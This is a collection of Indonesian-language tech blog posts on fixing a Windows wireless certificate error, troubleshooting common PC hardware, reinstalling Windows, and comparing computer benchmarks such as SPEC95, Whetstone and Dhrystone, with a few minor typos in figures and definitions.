Mengatasi Kegagalan Koneksi Jaringan Wireless

12.49 1 Comment
koneksi errorPesan; ” Windows was unable to find a certificate to log you on to the network” sering muncul yang artinya terjadi kegagalan koneksi internet akibat suatu masalah. Pada jaman ini, mengatur jaringan internet nampaknya semakin sulit, apalagi semakin gencarnya lima musuh jaringan internet, yaitu virus, worm, spam, spyware, dan intrusion. Dengan kenyataan ini maka mengakses internet menjadi sangat rawan, pengendalian lumaya sulit sehingga butuh tenaga yang terampil dan menguasai jaringan internet.

Salah satu alternatif keamanan internet yang ditawarkan adalah pembatasan penggunaan, pemantauan dan pengendalian atas pelanggan yang semakin lama semakin rumit dan belum sepenuhnya dapat diselesaikan. Dari segi teknis yang dapat menanggulangi masalah tadi adalah autentikasi atau membatasi kewenangan pelanggan pada satu pelayanan tertentu, sehingga tidak bisa semaunya men-download film yang ratusan megabyte atau menghabiskan bandwidth pada satu situs di internet.
Namun kenyataannya dalam praktek dilapangan, solusi ini malah sering membingungkan pengguna jaringan karena ketidaktahuan mengenai pengaturan jaringan. Akibat yang peling buruk adalah user tidak dapat mengakses jaringan apalagi mengakses internet. Masalah paling sering muncul ketika mengakses jaringan wireless adalah pesan ” Windows was unable to find a certificate to log you on to the network”. Ini adalah persoalan autentikasi sertifikat jaringan sehinga jika menerima pesan ini anda tidak bisa mengases internet.
Untuk mengatasi masalah itu maka berikut ini saya berikan langkah-langkah jalan keluarnya;
  1. Buka [Wireless Network Connection] di taskbar Anda dan di bawah [Related Tasks], pilih [Change advanced settings]. Lihat gambar dibawah ini;kegagalan koneksi
  2. Pilih tab [Wireless Networks] dan pilih jaringan yang sedang berjalan dalam daftar di bagian bawah. Klik [Properties] untuk membuka jendela baru. Lihat gambar dibawah; koneksi error
  3. Klik pada tab [Authentication] dan sekarang hapus centang pada box [Enable IEEE 802.1x authentication for this network]. Jika kotak ini dicentang, maka itulah sebabnya Anda mendapatkan ” Windows was unable to find a certificate to log you on to the network” . lihat gambar dibawah; error koneksi
Dan itu dia! Setelah saya dicentang kotak itu dan mencoba untuk menyambung kembali ke jaringan nirkabel, semuanya bekerja dengan baik

komputer dan permasalahannya

12.32 1 Comment
KOMPUTER DAN PERMASALAHNNYA

1. INPUT
Pengertian input (masukan) yaitu energi yang dimasukkan ke dalam sistem. Masukan dapat berupa masukan perawatan (maintenance input) dan masukan sinyal (signal input). Umumnya data yang diperlukan adalah sebagai masukan sistem yang diturunkan dari kebutuhan informasi.


Berikut adalah alat input dan trouble shootingnya

1). Keyboard
Masalah : - Saat keypad pada keyboard ditekan, tidak memuncukan apa
yang ditekan, meskipun keyboard sudah menyala ( konek )

- Keyboardnya tidak berfungsi pada saat digunakan

Solusi : - Pada settingan kepekaan keyboard harus diganti

- Cek pada koneksi hardware

2). Mouse
Masalah : - Pointer tidak bergerak

- Apabila di klik kiri malah klik kanan, dan begitu sebaliknya

- Pointer mouse yang sering meloncat-loncat

Solusi : - Alas mouse tidak mendukung

- Pengaturan mouse harus diganti dengan semestinya

- Buka penutup bola mouse di bagian bawah dengan memutarnya
900 derajat.
Keluarkan bolanya dan bersihkan dengan air hangat atau alkohol
serta sikat dengan kuas, lalu keringkan.
Di bagian dalam mouse dapat diamati adanya tiga buah roda.
Dua lebar dan satu yang kecil. Kotoran yang menempel pada
komponen tersebut perlu dibersihkan. Demikian juga dengan
kotoran yang menempel pada gerigi dan bantalan bola. Lakukan
pembersihan dengan hati-hati sehingga tidak merusak
komponen-komponen di dalamnya.


3). Wab Cam
Masalah : - Tidak dapat mengambil gambar

- Camera tidak fokus

Solusi : - Pada pengaturan capfuring pilih mode capfure

- Tinggal atur focus panel di depan camera

4). Scanner
Masalah : - Tidak dapat menyecan

- Tidak dapat menyimpan hasil scan

Solusi : - Scanner sudah rusak, harus diganti

- Softwarenya rusak, harus diinstal lagi

5). Joy Stick
Masalah : - Tidak dapat digunakan

- Tombolnya tidak berfungsi

Solusi : - Cek koneksi pada computer

- Kerusakan hardware, harus diperbaiki secara manual

6). CD/DVD/ROM/RW

Masalah : - Tidak terdeteksi di windows

- Tidak bisa keluar masuk CD

- Tidak bisa membaca/menulis/hanya bisa membaca saja. (CD)

- Tidak bisa membaca/menulis/write protect (Floppy disk)

Solusi : - Periksa kabel data dan kabel tegangan yang masuk ke CD-
floppy, perikas di setup bios apakah sudah dideteksi? sebaiknya
diset auto. Periksa apakah led menyala, jika tidak kerusakan di
Controllernya.

- Kerusakan ada pada mekanik motor atau karet motor.

- Kerusakan Biasanya pada optik, tetapi ada kemungkinan masih
bisa diperbaiki dengan cara men-set ualng optik tersebut.

- Head Kotor, bisa dibersihkan menggunakan Cutenb

7). Floppy Disk
Masalah : - Indikator LED pada floppy disk menyala terus
Hal ini disebabkan oleh pemasangan kabel data yang terbalik
atau IDE dari motherboard ke floppy disk

- Floopy disk terkadang bisa membaca disket yang dimasukkan, tetapi terkadang juga tidak bisa membacanya
Masalah ini timbul karena :
- Disket yang digunakan sudah rusak.
- Mata Head pad floppy disk kotor sehingga tidak dapat
- membaca disket yang dimasukkan.
- Kinerja motor floppy disk yang sudah melemah.

Solusi : - Pastikan kabel data pada bagian yang berwarna merah pada saat
memasang ke floppy disk bertemu dengan kabel warna merah
power yang terpasang pada floppy disk.

- Ganti disket dengan yang baru.
- Bersihkan flopy disk dengan disket pembersih untuk menghilangkan kotoran yang menempel pada head floppy disk.
- Ganti motor floppy disk dengan yang baru.
- Jika tetap tidak bisa, ganti floppy disk dengan yang baru.



2. PROSSES
Unit pemprosesan yang berada dalam komputer adalah Central Processing Unit (CPU). CPU merupakan otak atau pengatur suatu sistem yang mengolah sehingga menghasilkan informasi. Tiga unsur penting dalam CPU, yaitu primary storage, arithmatic logic uinit dan control unit.

Berikut adalah alat input dan trouble shootingnya

1). RAM
Masalah : - Akses program lambat

- RAM tidak terdeteksi

Solusi : - RAM harus diganti, karena tidak sesuaidengan pcnya

- Periksa pada pemasangan RAM, mungkin belum msuk dengan
kencang ke socketnya

2). Harddisk
Masalah : - Pada saat CPU dinyalakan kemudian melakukan proses Post
setelah itu proses tidak berlanjut dan diam beberapa saat tidak
langsung masuk ke operating system, dan kemudian di layar
monitor ada pesan “harddisk error, harddisk Failur, setelah itu
muncul pesan “press F1 to continou” setelah kita menekan
tombol F1 tidak masuk Operating system dan muncul pesan
“Operating system not found”.

- Pada saat CPU dinyalakan kemudian melakukan proses Post
setelah itu muncul pesan “Operating system not found”.

Solusi : - Periksa kabel tegangan dan kabel data yang masuk ke harddisk
apakah longgar, sebaiknya dikencangkan, kemudian nyalakan
dan coba anda dengarkan apakah suara yang keluar dari harddisk
normal, jika tidak normal berati harddisk rusak di controllernya.

- Ada kemungkinan Operating system rusak, bisa diatasi dengan
install ualng atau jika OS anda menggunakan windows 2000/XP
ada Fasilitas Repairnya. atau ada kemungkinan juga harddisk
anda tidak terdeteksi dan lakukan langkah diatas

3). proccessor
Masalah : - Motherboard jenis Asus tidak mendeteksi processor.

Solusi : - Cara perbaikannya sama seperti anda mengukur mosfet memory.

4).Mother Board
Masalah : - Setelah dihidupkan, tidak ada tampilan di monitor, lampu indikator (led) di panel depan menyala, lampu indikator (led) monitor berkedip-kedip, kipas power supply dan kipas procesor berputar, tidak ada suara beep di speaker. Apa yang harus kita lakukan?
Solusi : - Langkah pertama lepas semua kabel power yang terhubung ke listrik, kabel data ke monitor, kabel keyboad/mouse, dan semua kabel yang terhubung ke CPU, kemudian lepas semua sekrup penutup cashing. Dalam keadaan casing terbuka silahkan anda lepaskan juga komponen-komponen lainnya, yaitu kabel tegangan dari power supply yang terhubung ke Motherboard, harddisk, floppy, hati-hati dalam pengerjaannya jangan terburu-buru. Begitu juga dengan Card yang menempel pada Mboard (VGA, Sound atau Card lainnya). Sekarang yang menempel pada cashing hanya MotherBoard saja. Silahkan anda periksa Motherboadnya dengan teliti, lihat Chip (IC), Elko, Transistor dan yang lainnya apakah ada yang terbakar.
Jika tidak ada tanda-tanda komponen yang terbakar kemungkinan Motherboard masih bagus, tapi ada kalanya Mboard tidak jalan karena kerusakan pada program yang terdapat di BIOS.
5).BIOS
Masalah : - Hati-hati dalam Update Bios, ketika meng-Update anda keliru memilih versi Bios, PC jadi tidak jalan bahkan anda tidak dapat masuk ke BIOS.

Solusi : - Biasanya Update tidak dapat dibatalkan, hanya jenis Motherboard tertentu yang memiliki backup BIOS pada Chip-nya, Disitu tersimpan jenis asli BIOS yang tidak dapat dihapus, untuk dapat merestore-nya anda tinggal memindahkan Posisi Jumper khusus yang biasanya sudah ada petunjuk di buku manualnya. Kemudian hidupka PC dan tunggu 10 detik, BIOS yang asli telah di Restore, kembalikan Posisi Jumper pada posisi semula, dan PC siap dijalankan kembali. Jika Motherboard tidak memiliki pasilitas tersebut, Chip BIOS harus dikirim ke Produsen, Jenis BIOS dapat anda lihat di buku manualnya. Berhati-hati dalam pemasangannya jangan sampai kaki IC BIOS patah atau terbalik Posisinya.
6).CPU
Masalah : - CPU mengeluarkan suara Beep beberapa kali di speakernya dan tidak ada tampilan ke layar monitor, padahal monitor tidak bermasalah.
Solusi : - Bunyi Beep menandakan adanya pesan kesalahan tertentu dari BIOS, Bunyi tersebut menunjukan jenis kesalahan apa yang terjadi pada PC, Biasanya kesalahan pada Memory yang tdk terdeteksi, VGA Card, yang tidak terpasang dengan baik, Processor bahkan kabel data Monitor pun bisa jadi penyebabnya.Silahkan anda periksa masalah tersebut.






3. OOUTPUT
Output adalah preses mengahasilkan keluaran (output) dari hasil pengolahan data ke alat output device berupa informasi

Berikut adalah alat input dan trouble shootingnya

1). Monitor
Masalah : - Menampilkan resolusi dan warna tidak optimal

- Tidak dapat menampilkan gambar-

- Setelah dihidupkan PC tidak bereaksi apa-apa, tidak ada
tampilan di monitor, tidak ada lampu indikator (led) yang
menyala, kipas power supply tidak berputar, lampu indikator
pada monitor tidak menyala.


Solusi : - setting driver pada monitornya garus diubah

- Hubungan antara VGA Card dan monitor harus di perbaiki

- Periksalah apakah kabel terhubung dengan benar dan steker
terpasang dengan baik pada soketnya, periksa juga apakah ada
tombol on/off dibelakang tepatnya dibelakang Power Supply
sudah dalam posisi On, Jika sudah yakin terpasang dengan
benar tapi tetap tidak ada respon untuk meyakinkan silahkan
anda ganti kabel power dengan yang anda yakini bagus.
Masalah terjadi karena tidak adanya tegangan listrik yang
masuk, kerusakan ada pada kabel power.

2). Printer
Masalah : - Pada saat proses percetakan akan dilakukan, printer dalam
keadaan ON, dan kertas telah terpasang dengan baik tetapi
printer tidak mau bergerak dan proses percetakan dinyatakan
gagal.
- Tinta sudah habis, ataupun cartridge-nya memang kotor.

Solusi : - Pengetesan printer dengan menggunakan print test page pada
driver printer.

- Untuk memastikannya, lepas cartridge dengan hati-hati untuk
mengecek apakah tinta sudah habis atau belum. Setelah itu
lakukan pembersihan pada mat head nya dengan menggunakan
cairan pembersih tinta. Caranya dengan membasahi tisu
pembersih dengan cairan pembersih tersebut, dan letakkan mat
head catridge pada tisu tersebut. Dalam melakukan hal tersebut,
dibutuhkan kehati-hatian yang sangat tinggi, karena jika tidak
akan bisa berakibat fatal yaitu rusaknya cartridge.

3). Speaker
Masalah : - Speaker mati

- Suara speaker tidak keluar

Solusi : - periksa kabelnya mungkin tidak tercolok ke terminalnya

- Volume speakernya harus di atur

4). Proyektor
Masalah : - Gambar tidak tampil ke layer

- Gambar / tulisannya tidak jelas

Solusi : - Kabelnya belum tersambung dari proyektor ke monitor

- Tinggal di atur focus panel yang terdapat di depan proyektor

INSTAL ULANG PADA SISTEM OPERASI WINDOWS

12.28 Add Comment

Windows

WP Greet Box icon
Hello there! Jika ini kunjungan pertama anda, ada baiknya menggunakan menu "Archives", boleh juga langganan via email "Subscribe" pada sidebar untuk update artikel dari kami. Trims ya kunjungannya !!!
install ulangInstall ulang sistem operasi Windows ? Repair atau gagal repair Windows? Atau gagal install ulang Windows ? Demikian masalah yang sering muncul, entah anda pengguna Windows XP, Windows Vista, Windows 7 atau bahkan OS yang lain. Mulai artikel ini sampai beberapa artikel ke depan saya akan membahas mengenai instalasi windows dalam berbagai versi. Ada kalanya ketika repair windows tidak berhasil, disinilah kita harus melakukan instal ulang.
Pertanyaannya adalah apa itu install ulang?. Install ulang Windows adalah sebuah usaha untuk memasukkan kembali semua files-file system operasi Windows kedalam sebuah path/dirve tertentu pada hard disk sehinggan komputer dapat beroperasi kembali secara normal. Ini dilakukan ketika windows mengalami kerusakan atau sebagian filenya hilang. Dalam install ulang semua versi windows didalamnya ada beberapa pilihan yang dapat ditempuh;
  1. Clean installation. Dalam bahasa pasar install total. Dalam proses ini kita menghapus semua data/file dalam drive (biasanya C: ) yang merupakan tempat system operasi. Penghapusan tadi dilakukan baik dengan men-delete partisi system lalu membuatnya kembali atau hanya dengan cara mem-format partisi hard disk untuk drive system operasi. Ini bias dilakukan jika semua data penting pada drive system sebelimnya telah diamankan dengan backup. Apa jeleknya? Jeleknya adalah lama dan ada kemungkinan ada data yang lupa diamankan jadi hilang. Bagusnya adalah komputer akan segar kembali jika sebelumnya ada virus komputer maka dipastikan akan bersih kembali sesudah instalasi selesai.
  2. Install tanpa format hard disk system, artinya kita hanya menimpa semua file system operasinya tetapi program aplikasi lain tetap utuh. Bagusnya adalah semuat setting dan aplikasi dalam komputer akan kembali seperti sebelumnya. Jekenya adalah jika ada worm, virus ataupun malware maka penyakit tersebut akan tetap tinggal dalam komputer. Dalam proses install biasanya ada pilihan [no changes] sebagai identitas pilihan instalasi ini.
  3. Sebenarnya masih ada lagi satu yaitu pilihan repair yaitu hanya memperbaiki file-file system operasi yang rusak atau hilang. Ini juga tidak menyelesaikan masalah virus tetapi waktunya singkat disbanding dua langkah sebelumnya.
Lalu mengapa system operasi windows diinstall ulang?
  1. Karena terserang virus dan sudah tidak ada pilihan lain alias sudah stress gara-gara virus.
  2. Karena system operasi sudah terlalu banyak file sampah yang tidak tertangani oleh software pembersih file sampah. Harap dimengerti bahwa software pembersih file sampah jika tidak tepat kadang justru menimbulkan masalah pada computer misalnya pada registry editor.
  3. Karena system operasi sudah sedemikian lambat dan meng-uninstall sebagian program aplikasi ternyata tidak menyelesaikan masalah.
  4. Karena konfik antara program aplikasi maupun dengan system operasi sehingga komputer malas bekerja atau bahkan mogok kerja.
  5. Dan masih banyak lagi alas an lain mengenai hal ini. CATATAN : jangan takut melakukan install ulang windows asal perhatikan langkah-langkahnya dengan benar.
Mengatasi gagal install ulang windows
Dan mengapa sering terjadi gagal install ulang windows ? Bagaimana mengatasi kegagalan install ulang windows? Beberapa hal yang sering menjadi penyebabnya. Ada 5 perangkat keras yang secara langsung terlibat dalam proses install ulang window yaitu Mrocessor, Main Memory, Hard disk, CD/DVD ROM, CD installer dan 3 yang terakhir yang paling bertanggung jawab untuk kegagalan proses instalasi. Inilah solusinya;
  1. Kegagalan pada CD installer. Biasanya CD installer yang sudah tua dan banyak goresan akan susah dibaca oleh CD ROM. Dari sinilah awalnya. Oleh karena itu pastikan CD installer masih sangat layak untuk digunakan. Jika CD installer rusak maka akan muncul beberapa kali pesan [can’t copy file….]. Sebenarnya pesan ini bisa diabaikan dengan pilihan [Skip] tetapi kemungkinan besar nantinya ada kegagalan tertentu ketika windows sudah berjalan di desktop.
  2. CD/DVD ROM rusak, kabur optiknya. Jika optik CD/DVD ROM kabur alias berdebu, maka dia tidak bisa membaca CD dengan tepat dan jika ini terjadi maka proses akan menjadi sangat lambat selanjutnya akan sangat lambat atau terhenti lalu muncul peringatan kegagalan. Peringatan paling keras dari kegagalan ini adalah Blue screen of death. Pastikan kabel CD/DVD ROM terpasang dengan tepat, kalau perlu siapkan CD/DVD ROM cadangan.
  3. Kesalahan menulis pada hard disk. Ada kalanya terjadi kegagalan mengcopy file-file kedalam hard disk sehingga proses install gagal. Permasalahan listrik tidak stabil bias mengganggu proses ini. Penyebab lain adalah kabel data hard disk longgar atau tidak tepat ketika akan memulai meng-copy file kedalamnya langsung timbul kegagalan. Biasanya hard disk yang sudah tua dan tidak stabil lagi juga menyebabkan hal ini, walaupun hard disk masih terdeteksi di BIOS. Perbaiki kedudukan kabel data dan siapkan hard disk cadangan.
Jika semua jalan keluar diatas sudah anda tempuh pasti proses install sudah berhasil. Nah sekarang saya piker sudah sangat jelas bagi kita apa, mengapa dan bagaimana mengatasi install ulang windows.
12.24 Add Comment
Ketika komputer masih sederhana, terdapat dua cara mudah untuk mengukur kinerja komputer. Pertama, menggunakan parameter sistem itu sendiri misalnya laju detak prosesor atau jumlah instruksi yang dapat diproses tiap satuan waktu. Jumlah instruksi yang diproses dalam satuan waktu tertentu diekspresikan dalam 'satuan' MIPS (millions instruction per second). Ukuran ini menjadi tidak adil digunakan pada komputer yang menggunakan prosesor dengan arsitektur berbeda. Prosesor berarsitektur RISC misalnya, memerlukan lebih banyak instruksi untuk menjalankan suatu tugas (task) tertentu dibandingkan dengan prosesor berasitektur CISC. Dengan ukuran MIPS, prosesor RISC akan tampak bekerja jauh lebih cepat (menjalankan lebih banyak instruksi per satuan waktu) dibanding prosesor CISC meskipun lama waktu yang digunakan untuk menyelesaikan satu tugas bisa jadi sama.
Cara kedua adalah dengan menggunakan benchmark sintetis. Whetstone dan Dhrystone merupakan contoh benchmark sintetis yang banyak digunakan untuk mengukur kinerja komputer. Benchmark sintetis berupa program pendek yang dibuat menyerupai tingkah-laku program aplikasi yang ada. Melalui kajian mendalam terhadap berbagai program aplikasi yang ada, dibuat suatu program pendek yang merupakan gabungan dari berbagai komputasi matematis, kalang (loop), pemanggilan fungsi, dan sebagainya. Terhadap pengukuran dengan benchmark sintetis terdapat dua kelemahan. Selain keraguan apakah program yang disusun benar-benar mewakili program aplikasi yang sebenarnya, keraguan hasil pengukuran juga disebabkan oleh mudahnya teknik pengukuran ini dimanipulasi dengan melakukan optimisasi kompilator (Sharp dan Bacon, 1994:65).
Tulisan berikut ini akan mengulas salah satu benchmark yang banyak dipergunakan, yakni SPEC, yang dikembangkan oleh System Performance Evaluation Corporation. Uraian tentang benchmark SPEC ini dimaksudkan untuk menjelaskan cara pengukuran kinerja komputer dengan membandingkan waktu eksekusi yang diperlukan oleh suatu komputer untuk satu program tertentu dengan waktu eksekusi pada komputer rujukan. Pada bagian berikutnya diuraikan mengenai kelemahan pengukuran kinerja berbasis 'waktu eksekusi program' tersebut dan alternatif lain yang dapat dilakukan untuk memperbaiki pengukuran kinerja komputer tersebut.

SPEC95

Sebagai upaya untuk mendapatkan tolok-ukur baku agar dapat membandingkan kinerja berbagai sistem komputer, sekelompok perusahaan besar antara lain: DEC, Hewlett-Packard, IBM, Intel, dan Sun sepakat membentuk lembaga non-profit yang diberi nama System Performance Evaluation Corporation (Sharp dan Bacon, 1994:66; Reilly, 1995). Lembaga ini ditugasi untuk mengembangkan dan memberi dukungan terhadap pembakuan benchmark kinerja komputer.
Sebelum membuat program untuk mengukur kinerja komputer, SPEC telah mempelajari sejumlah program yang umum dipakai, menganalisis algoritma dan bahasa mesinnya, menentukan cara mengukur kinerja komputer, dan menentukan rumusan untuk membuat rerata skor kinerja komputer dari skor-skor yang diperoleh masing-masing elemen benchmark. Benchmark SPEC terdiri atas dua kelompok program. Satu kelompok merupakan program-program yang dititik-beratkan pada operasi atas bilangan integer dan satu kelompok lainnya dititikberatkan pada operasi atas bilangan floating-point.
Perangkat benchmark pertama yang dibuat diperkenalkan pada tahun 1989, karenanya disebut SPEC89. Pada tahun 1992 dimunculkan versi baru, dan dengan demikian SPEC89 tdak digunakan lagi. SPEC92 terdiri atas 20 program yang terbagi menjadi dua kelompok, yakni untuk operasi bilangan integer dan untuk operasi bilangan floating-point. Saat ini, SPEC92 juga sudah tidak digunakan lagi karena telah dimunculkan perangkat benchmark baru yakni SPEC95. Pada SPEC95 ini, komputer rujukan yang digunakan sebagai pembanding berubah dari semula VAX-11/780 menjadi Sun SPARCstation 10/40. Dengan demikian, bila dikatakan skor SPECint95 adalah 5.0, maka berarti sistem yang diuji 5 kali lebih cepat dibanding Sun SPARCstation 10/40.
SPEC95, yang diperkenalkan pada bulan Agustus 1995, merupakan perangkat benchmark yang terdiri atas dua bagian, yakni CINT95 (ditulis dalam bahasa C) dan CFP95 (ditulis dalam bahasa Fortran). CINT95 merupakan bagian dari perangkat SPEC95 yang mengukur kinerja komputer terhadap operasi bilangan integer, yang diasumsikan mewakili program aplikasi bisnis. Bagian lain, yakni CFP95, mengukur kinerja komputer terhadap operasi bilangan floating-point yang diasumsikan mewakili program aplikasi ilmiah-numerik.
Tabel 1 Elemen-elemen CINT95
 
Nama Program
Deskripsi
Waktu Referensi (Detik)
099.go Program kecerdasan buatan, menjalankan program permainan Go melawan dirinya sendiri 4600
124.m88ksim Simulator cip mikroprosesor Motorola 88100, menjalankan program uji Dhrystone dan program uji memori 1900
126.gcc Melakukan kompilasi untuk bahasa mesin prosesor SPARC berbasis kompilator GNU C versi 2.5.3. 1700
129.compress Program pemampat (compress) dan pengurai (decompress) file teks sebesar 16 MB yang bekerja dalam-memori (in-memory), dengan metode pengkodean Limpel-Ziv adaptif  1800
130.li Interpreter bahasa LISP 1900
132.ijpeg Program pemampat dan pengurai citra (image) dengan berbagai parameter, yang bekerja dalam-memori. 2400
134.perl Melakukan manipulasi numerik dan teks (anagram dan pemfaktoran bilangan prima) 1900
147.vortex Membuat dan memanipulasi tiga basis data yang saling berkaitan  2700

 
Tabel 2. Elemen-elemen CFP95
 
Nama Program
Deskripsi
Waktu Referensi (Detik)
101.tomcatv Mewakili program bidang dinamika fluida/ translasi geometris. Membangkitkan sistem koordinat dua-dimensi pada domain geometris umum.  3700
102.swim Model perairan dangkal dengan 1024x1024 kisi 8600
103.su2cor Simulasi Monte Carlo, bidang fisika kuantum. Melakukan perhitungan massa partikel elementer berdasarkan teori Quark-Gluon 1400
104.hydro2d Bidang astrofisika, menyelesaikan persamaan hidrodinamik Navier Stokes untuk menghitung semburan galaktik 2400
107.mgrid Bidang elektromagnetis, memecahkan persoalan medan potensial 3 dimensi multikisi (multigrid) 2500
110.applu Bidang dinamika fluida/matematika, menyelesaikan sistem matriks dengan pivoting 2200
125.turb3d Simulasi turbulensi homogen isotropik dalam kubus 4100
141.apsi Pemecahan persoalan berkaitan dengan temperatur, angin, serta kecepatan dan distribusi polutan 2100
145.fppp Menyelesaikan derivasi multielektron , bidang kimia kuantum 9600
146.wave5 Penyelesaian persamaan Maxwell pada jaring Cartesian  3000
Bencmark SPEC95 mengukur dan membandingkan kinerja komputer dalam tiga kategori pilihan:
  1. Kinerja terhadap bilangan integer versus floating point
  2. Kinerja dengan kompilasi agresif versus kompilasi konservatif
  3. Kecepatan versus throughput
Berdasarkan pilihan-pilihan tersebut, SPEC95 memungkinkan dibuatnya 'ukuran' komposit sebagai berikut:
Tabel 3. Pilihan 'Ukuran' Kinerja Komposit
 
Metode Kompilasi Kecepatan Throughput
Kompilasi Agresif SPECint95
SPECfp95
SPECint_rate95
SPECfp_rate95
Kompilasi Konservatif SPECint_base95
SPECfp_base95
SPECint_rate_base95
SPECfp_rate_base95
Yang dimaksud ukuran komposit adalah bahwa skor indivual dihitung untuk tiap-tiap elemen program (8 elemen pada CINT95 dan 10 elemen pada CFP95) dalam CINT95 atau CFP95 dan hasilnya digunakan untuk menghitung ukuran komposit ini.
Untuk pengukuran kecepatan, setiap elemen benchmark memiliki SPECratio. SPECratio adalah referensi waktu SPEC dibagi dengan waktu-pelaksanaan (runtime) tiap-tiap elemen program pada sistem yang diukur.
Ukuran komposit kecepatan dapat dihitung sebagai berikut:
 
1. SPECint95 : Rerata geometris dari 8 buah SPECratio (satu untuk tiap elemen program CINT95) bila masing-masing elemen program dikompilasi dengan optimisasi agresif.
2. SPECint_base95 : Rerata geometris dari 8 buah SPECratio (satu untuk tiap elemen program CINT95) bila masing-masing elemen program dikompilasi dengan optimisasi konservatif
3. SPECfp95 : Rerata geometris dari 10 rasio ternormalisasi (satu untuk tiap elemen program CFP95) bila masing-masing elemen program dikompilasi dengan optimisasi agresif.
4. SPECfp_base95 : Rerata geometris dari 10 rasio ternormalisasi (satu untuk tiap elemen program CFP95) bila masing-masing elemen program dikompilasi dengan optimisasi agresif.
Untuk mendapatkan ukuran throughput atau laju eksekusi program, yang disebut juga 'metode kapasitas homogen' beberapa salinan elemen program tertentu dijalankan. Metode ini terutama cocok untuk sistem multiprosesor. Hasilnya, yang disebut laju SPEC (SPECrate) menggambarkan berapa banyak elemen program yang dapat dijalankan pada satu waktu tertentu. Dengan demikian laju SPEC menggambarkan kapasitas sistem untuk tugas-tugas yang sama karakteristiknya dengan program uji (Dixit dan Reilly, 1995).
Sama seperti ukuran kecepatan, SPEC mendefinisikan rerata ukuran laju sebagai berikut:
  1. SPECint_rate95 = Rerata geometris dari 8 buah SPECrate ternormalisasi (satu untuk tiap elemen program CINT95) bila masing-masing elemen program dikompilasi dengan optimisasi agresif.
  2. SPECint_rate_base95 = Rerata geometris dari 8 buah SPECrate ternormalisasi (satu untuk tiap elemen program CINT95) bila masing-masing elemen program dikompilasi dengan optimisasi konservatif.
  3. SPECfp_rate95 = Rerata geometris dari 10 buah SPECrate ternormalisasi (satu untuk tiap elemen program CFP95) bila masing-masing elemen program dikompilasi dengan optimisasi agresif.
  4. SPECfp_rate_base95 = Rerata geometris dari 8 buah SPECrate ternormalisasi (satu untuk tiap elemen program CINT95) bila masing-masing elemen program dikompilasi dengan optimisasi konservatif.

Benchmark lainnya

Selain SPEC95, berbagai benchmark dikembangkan untuk mengukur kinerja komputer. Berikut ini disajikan beberapa contoh beserta deskripsi singkatnya untuk memberikan gambaran mengenai perbedaan masing-masing.
Whetstone merupakan benchmark sintetik yang dikembangkan oleh Curnow dan Wichman pada tahun 1976 (Sharp dan Bacon, 1994: 68). Benchmark ini dimaksudkan untuk mengukur kinerja komputer dalam mengolah bilangan floating point dan digunakan untuk membandingkan arsitektur maupun kompilator teroptimisasi yang dijalankannya. Program semula dibuat dalam bahasa Algol dengan kompilator Algol 60 yang menterjemahkannya menjadi instruksi untuk mesin Whetstone imajiner (Sill, 1996). Kelemahan benchmark Whetstone adalah kecilnya ukuran modul/program benchmark sehingga sistem memori di luar cache tidak teruji, dan dengan optimisasi kompilator dengan mudah didapatkan skor benchmark tinggi tanpa mengubah sistem yang diuji (Sill, 1996).
Dhrystone juga merupakan benchmark sintetik yang dikembangkan oleh Reinhold Weicker pada awal tahun 1980-an dan difokuskan untuk mengukur kinerja komputer atas bilangan integer dan string (Sharp dan Bacon, 1994:68). Program asli ditulis dalam bahasa Ada, dan kemudian diterjemahkan ke dalam bahasa-bahasa lain. Sama seperti Whetstone, program benchmark Dhrystone memiliki ukuran yang terlalu kecil (sekitar 1,5 KB) sehingga tidak dapat menguji sistem di luar cache. Optimisasi kompilator juga dapat dilakukan untuk mempertinggi skor perolehan (Sill, 1996).
Linpack yang dikembangkan oleh Jack Dongarra, kernelnya dikembangkan dari rutin program aplikasi aljabar linier (Sharp dan Bacon, 1994:68; Sill, 1996). Semula ditulis dan digunakan dalam lingkungan bahasa program Fortran namun tersedia juga versi bahasa C. Sebagian besar waktu uji merupakan waktu eksekusi subrutin yang menjalankan operasi matriks y(i) = y(i) + a * x(i). Versi standar bekerja dengan matriks ukuran 100x100, tetapi juga tersedia versi dengan ukuran matriks 300x300 dan 1000x100 dengan aturan optimisasi yang berbeda. Kelemahannya, program hanya mewakili tipe komputasi matriks yang memang banyak digunakan dalam bidang bidang sains (Sill, 1996).
NAS Parallel Benchmark (NPB), yang dikembangkan oleh peneliti di NAS, yakni cabang dari NASA Ames Research Lab, untuk mengukur kinerja komputer paralel. NPB dikembangkan khusus untuk mengukur kinerja komputer paralel, yang memerlukan penulisan ulang program agar dapat secara efektif dan efisien membagi beban komputasi di antara prosesor-prosesornya (Sharp dan Bacon, 1994:68).
Para peneliti di Universitas Illinois, yang telah lama bekerja dengan superkomputer, tidak puas dengan berbagai teknik yang dipakai dalam mengembangkan berbagai benchmark. Mereka mengembangkan benchmark yang disebut Perfect Club, yang memiliki pendekatan pengukuran mirip dengan SPEC. Perfect Club merupakan gabungan dari aplikasi-aplikasi riil yang disumbangkan oleh kelompok-kelompok peminat komputasi dan diorganisasi sedemikian rupa sehingga menjadi satu benchmark. Benchmark Perfect Club terutama mengukur kinerja atas bilangan floating-point dan biasanya dieksekusi pada superkomputer. Tujuan utama proyek Perfect Club adalah mengkarakterisasi program aplikasi dalam hal perilaku algoritmanya sehingga memungkinkan pemakai memperoleh prediksi kinerja yang diharapkan untuk program aplikasi yang dikembangkannya (Sharp dan Bacon, 1994:68).
Benchmark iCOMP dikembangkan oleh Intel untuk membandingkan kinerja prosesor-prosesor yang ada di pasaran. Ketika prosesor generasi 486 diperkenalkan, di pasaran muncul berbagai versi mulai 486SX, 486DX2, dan sebagainya. Agar calon pembeli memiliki gambaran ringkas kinerja prosesor, Intel mengembangan angka indeks yang merupakan angka kinerja prosesor dibandingkan dengan kinerja prosesor rujukan. Benchmark ini khusus mengukur kinerja prosesor dan tidak mencerminkan kinerja komputer secara keseluruhan (Sharp dan Bacon, 1994:68). Popularitas iCOMP terutama karena benchmark ini hampir selalu menjadi ukuran kinerja prosesor-prosesor Intel dalam iklan-iklannya (setidaknya sampai generasi Pentium).

Kritik terhadap Benchmark

Pengukuran kinerja komputer dengan benchmark yang ada saat ini banyak dikritik karena seperti orang buta meraba gajah. Bergantung pada bagian yang dipegang, gajah bisa didefinisikan sebagai tinggi seperti pohon kelapa, panjang dan kecil seperti ular, atau lebar dan tipis seperti kipas (Gustafson dan Todi, 1998). Benchmark yang ada cenderung mengukur satu aspek dari kinerja komputer dan hasilnya digunakan untuk menggeneralisasi kinerja keseluruhan.
